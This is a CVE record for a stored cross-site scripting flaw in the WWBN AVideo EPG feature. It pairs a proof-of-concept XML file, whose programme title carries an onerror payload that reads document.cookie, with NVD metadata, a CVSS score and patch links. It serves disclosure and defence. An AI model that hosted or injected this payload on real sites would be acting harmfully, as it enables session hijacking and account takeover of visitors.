CVE-2026-39367

<!-- PoC for CVE-2026-39367 Description: Malicious XML file to be hosted on an attacker-controlled server. Usage: Host this XML and set the 'epg_link' in AVideo to this URL. --> <?xml version="1.0" encoding="UTF-8"?> <tv> <channel id="poc.channel"> <display-name>Attack Channel</display-name> </channel> <programme channel="poc.channel" start="20260407120000" stop="20260407130000"> <!-- The payload is injected into the title tag --> <title>&lt;img src=x onerror=alert(document.cookie)&gt;XSS Payload&lt;/title&gt; <desc>This video description triggers XSS.</desc> </programme> </tv>

{"cve": {"id": "CVE-2026-39367", "sourceIdentifier": "[email protected]", "published": "2026-04-07T20:16:30.677", "lastModified": "2026-04-22T18:51:19.380", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "WWBN AVideo is an open source video platform. In versions 26.0 and prior, AVideo's EPG (Electronic Program Guide) feature parses XML from user-controlled URLs and renders programme titles directly into HTML without any sanitization or escaping. A user with upload permission can set a video's epg_link to a malicious XML file whose <title> elements contain JavaScript. This payload executes in the browser of any unauthenticated visitor to the public EPG page, enabling session hijacking and account takeover."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N", "baseScore": 5.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.3, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:wwbn:avideo:*:*:*:*:*:*:*:*", "versionEndIncluding": "26.0", "matchCriteriaId": "774C24F1-9D26-484F-B931-1DA107C8F588"}]}]}], "references": [{"url": "https://github.com/WWBN/AVideo/commit/e0212add4aad0f1e97758a4b4fdc57df58ce68e8", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/WWBN/AVideo/security/advisories/GHSA-rqp3-gf5h-mrqx", "source": "[email protected]", "tags": ["Third Party Advisory"]}, {"url": "https://github.com/WWBN/AVideo/security/advisories/GHSA-rqp3-gf5h-mrqx", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Third Party Advisory"]}]}}